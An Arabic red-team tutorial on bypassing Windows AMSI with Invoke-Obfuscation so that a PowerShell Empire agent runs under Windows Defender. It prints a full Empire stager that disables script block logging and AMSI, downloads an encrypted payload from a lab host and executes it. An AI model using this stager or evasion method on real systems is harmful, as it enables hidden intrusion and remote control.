تحليل خاصية AMSI وتخطيها داخل windows 10 من خلال Empire
في العديد من الأحيان أثناء تنفيذها لـ Red Team / Penetration Test نحاول أن نقوم بتشغيل powershell script مُعين ولكن نكتشف أثناء التشغيل بأن powershell قد قام بمنع عملية التنفيذ وقام بإعتبار السكربت الذي نقوم بتنفيذه كملف ضار , وطبعاً هذه مشكلة يجب التعامل معها لإستكمال العملية لكي لا تُعيقنا أثناء تنفيذ أي سكربتات, هذه المشكلة تظهر من خلال ما يُسمى AMSI – Anti Malware Scanner Interface وهي إضافة تم إستحدثها في أنظمة windows سوف أقوم بشرحها بإختصار كما يلي:
ما هي AMSI ؟
كما ذكرت مسبقاً هي خاصية مُضافة لنظام windows أو كما يتم تعريفها بأنها “Interface” يقوم بشكل رئيسي بالتخاطب مع الـAnti-Virus solution الموجود داخل الجهاز بهدف إستخدامه لفحص بعض العناصر مثل النصوص التي يتم تنفيذها داخل powershell أو حتى VBScript وبعض الملفات الأخرى التي تجدها داخل الوصف الرئيسي للخدمة , حيث تساهم هذه الخاصية بمراجعة الأكواد التي يتم تنفيذها في حالتنا داخل powershell وفي حال كانت تحتوي على أكواد ضاره يتم منعها وعدم تشغيلها داخل powershell مما يُسبب لنا مشكلة كبيرة أثناء تنفيذ العديد من الـ scripts المفيده لنا.
الـ AMSI بشكل رئيسي تعتمد على الـ Anti-Virus Solution الموجود على الجهاز , لذلك على سبيل المثال قد تختلف نتائج تنفيذ malicious powershell script من جهاز إلى أخر حسب الـ Solution الموجود كما ذكرت مسبقاً , لذلك في حال كُنت تريد تشغيل powershell script مُعين على جهاز هدف , تستطيع عمل بيئة عمل مُشابهه للهدف لديك ومحاولة تخطي الـ AMSI عليها قبل تطبيقها داخل الـ engagement لتجنب أن يتم كشف أمرك 😀
لكي نفهم الـ AMSI بشكل أكبر دعونا نقوم بتجربة عملية له لنرى كيف يقوم بكشف النصوص داخل script مُعين , سوف نقوم بإستخدام كلمة مشهوره مُتعارف عليها بأنها ضاره من قبل الـ Anti-Virus Solutions وهي “amsiutils” حيث أن هذه الكلمة في حال وجدت داخل سكربت مُعين تُعتبر ضاره , لذلك دعونا نقوم بإستكشاف الـ AMSI عن قرب أكثر كما يلي:
كما نرى تم كشفها بالفعل من الـ AMSI !
والأن بعد أن تعرفنا بشكل سريع على الـ AMSI , دعونا نقوم بإستكشاف بعض الـ techniques التي تُمكنا من تخطي AMSI على نظام Windows 10 يوجد عليه Windows Defender , ولكي يكون المقال مُفيد أكثر سوف أقوم بتطبيق أحد هذه الـ techniques على empire agent لينتهي بنا المطاف بالحصول على empire agent يعمل بشكل كامل على النظام.
تخطي AMSI بإستخدام Invoke-Obfuscation
كما ذكرنا مُسبقاً , AMSI بشكل رئيسي تعتمد على signatures مُعينه يتم أخذها من الـ Anti-Virus solution ومقارنة أي نص يتم تنفيذه داخل powershell أو بعض التطبيقات الأخرى , وفي حال تم كشف أي نص مشبوه , يقوم الـ AMSI برفضها وعدم السماح بتشغيلها , لذلك نستتنج أنه في حال قُمنا بمنع الكلمات التي تحتوي على الـ signature من الظهور من خلال عمل obfuscate لها وكتابتها بصيغ أخرى , سوف نقوم بتخطي الـ AMSI وعدم تمكينها من كشف الـ signature يعني تنفيذ السكربت الخاص بنا داخل powershell دون أي مشاكل.
دعونا نستعرض المشكلة مع empire agent قبل إستكمال المقال , سوف أقوم بما يلي :
- إستخراج الـ empire agent powershell code ووضعه على webserver خاص بي.
- محاولة إستدعائه وتنفيذه من خلال Invoke-Expression بعد تحميله بإستخدام DownloadString function.
لإستخراج الـ empire agent code نستطيع عمل التالي داخل خيار الـ listeners :
نقوم الأن بعمل base64 decode لنحصل على الكود التالي:
If($PSVeRsIOnTablE.PSVErSIon.MAjoR -gE 3){$GPF=[ref].ASsEmblY.GeTTYpe('System.Management.Automation.Utils')."GEtFiE`lD"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($GPF){$GPC=$GPF.GeTValUE($nULL);If($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vaL=[COlLectIonS.GenEriC.DIcTioNary[STrINg,SystEM.Object]]::NeW();$Val.ADd('EnableScriptB'+'lockLogging',0);$Val.AdD('EnableScriptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VAL}ELsE{[SCRIPtBLoCK]."GetFiE`Ld"('signatures','N'+'onPublic,Static').SetVAlUE($NUll,(NEw-ObJecT CoLLEcTiOns.GENeric.HaSHSeT[sTrIng]))}[ReF].AsseMBlY.GETTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetFIelD('amsiInitFailed','NonPublic,Static').SEtVALue($NULl,$TruE)};};[SystEm.NET.SerVicEPointMANaGER]::EXpect100ConTInUe=0;$wc=NeW-OBjeCt SYSTEm.NET.WEbCliENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeaDERs.AdD('User-Agent',$u);$wc.PROXY=[SYSTEm.NEt.WebRequEst]::DeFaulTWEBProXY;$wc.PrOXy.CrEDENtiALs = [SysteM.Net.CReDEntIAlCAche]::DefAuLtNeTWORkCredENTIaLS;$Script:Proxy = $wc.Proxy;$K=[SYStEM.TEXt.EncODINg]::ASCII.GEtBytEs('m#6~k9,C+5H^t4YLr}v3DOJwU&hNIK<d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BXor$S[($S[$I]+$S[$H])%256]}};$ser='http://192.168.178.1:8888';$t='/news.php';$wc.HeadErs.ADD("Cookie","session=d9H/ETeDwEi0oyqmQi1LjEQ9rz4=");$datA=$WC.DoWNloADDAta($sER+$T);$iV=$dAta[0..3];$DAta=$dAtA[4..$DAta.LENGTH];-joiN[ChaR[]](& $R $dATa ($IV+$K))|IEX
لو حاولنا أن نقوم بتشغيله بشكل مباشر على Powershell بعد وضعه داخل ملف إسمه NotAMalware.ps1 على الـ webserver الخاص بنا بعد سحبه من خلال DownloadString سوف نحصل على التالي:
كما نرى بالفعل لقد منعت الـ AMSI تنفيذ الـ powershell code الخاص بالـ empire agent الخاص بنا !
قمت بإستدعاء $error لكي نرى المشكلة بشكل أفضل.
حسناً , الأن لكي نقوم بتخطي الـ AMSI من خلال إعادى ترتيب النصوص وعمل obfuscate لها , يوجد هناك أداة رائعة جداً مكتوبة بلغة Powershell تُسمى Invoke-Obfuscation , حيث تتيح لك تغير شكل النصوص الخاصة بـ powershell script مُعين من خلال التلاعب بالنصوص وطريقة كتابتها , سوف أقوم بتشغيل الأداة من خلال pwsh وهو مُحاكي لـ powershell على أنظمة Linux , تستطيعون التعرف عليه أكثر من خلال هذا الرابط.
تستطيع طبعاً تحليل السكربت السابق بشكل يدوي ومحاولة معرفة الـ signature التي تقوم بكشف السكربت ومحاولة تغيرها , عن نفسي قمت بهذا يدوياً من باب محاولة فهم العملية بشكل أكبر , ولكنها كانت متعبه جداً ولم تؤدي إلى المطلوب بشكل كامل.
لتحميل Invoke-Obfuscation نستطيع عميل clone للـ repo الخاص بها من github من خلال:
git clone https://github.com/danielbohannon/Invoke-Obfuscation
ولكي نقوم بتشغيلها لابد من تحميله كـ Module داخل الـ pwsh من خلال Import-Module , وبعد ذلك نقوم بإستدعائها كما يلي:
وبالأسفل سوف نجد ما يلي:
هذه الواجهه الرئيسية للسكربت , حيث أنه يُتيح لك أن تقوم بعمل obfuscation لأي powershell script من خلال التلاعب بالـ string بمجموعة خيارات مُختلفة , سوف نقوم بتجربة الخيار الخاص بالـ String وملاحظة التغيرات التي سوف يقوم بها السكربت وهل سوف يقوم بتخطي الـ AMSI أم لا.
في البداية دعونا نقوم بحفظ الكود الخاص بالـ agent بملف ونقوم بتسميته ReallyNotAMalware.ps1 لكي يقوم Invoke-Obfuscation بقرأته وتحديده من خلال الأمر set scriptpath كما يلي:
وبعد ذلك دعونا نقوم بتنفيذ الخيارات التالية لإستخدام الـ string obfuscation:
بالمربع الأول قُمنا بإختيار الخيار 2 وهو عمل Reorder للـ string الخاص بنا أي انه سوف يقوم بعمليات إعادة ترتيب للـ strings , بالعموم السكربت يقوم بعمل تغيرات كما أشرنا مسبقاً للـ strings وإستبدالها بنصوص أخرى تُعطي نفس المعنى , فمثلاً بدل أن نقوم بإستخدام النص askar بشكل واضح بـ powershell , نستطيع إستبداله بالشكل التالي:
فالخاصية هذه تقوم بعمل ما سبق ولكن على السكربت بشكل كامل , مع بعض التغيرات الأخرى بالطبع بأليات مُختلفة لتغير الـ syntax لمحاولة تفادي الـ signature المطلوبه.
طبعاً بالمربع الأخضر نرى الكود بعد عمل obfuscation له , دعونا نقوم بحفظه بإسم JustANormalScript.ps1 ونرفعه على web server خاص بنا ونقوم بإستدعائه مُجدداً من خلال IEX و Download String كالتالي :
كما نرى تم تحميل وتشغيل السكربت من خلال IEX من دون أي مشاكل , ولو عدنا للـ Empire سوف نجد ما يلي:
حصلنا على empire agent يعمل دون أي مشاكل وقمنا بتخطي AMSI من خلال Invoke-Obfuscation.
طبعاً تخطي AMSI قد يتم ببعض الطرق الأخرى والتي سوف أقوم بشرحها إن شاء الله بمقالات أخرى , أتمنى أن يكون المقال قد نال إعجابكم.
مبدع وهذي ليس بجديد عليك دائما تبهرنا
شكرا لك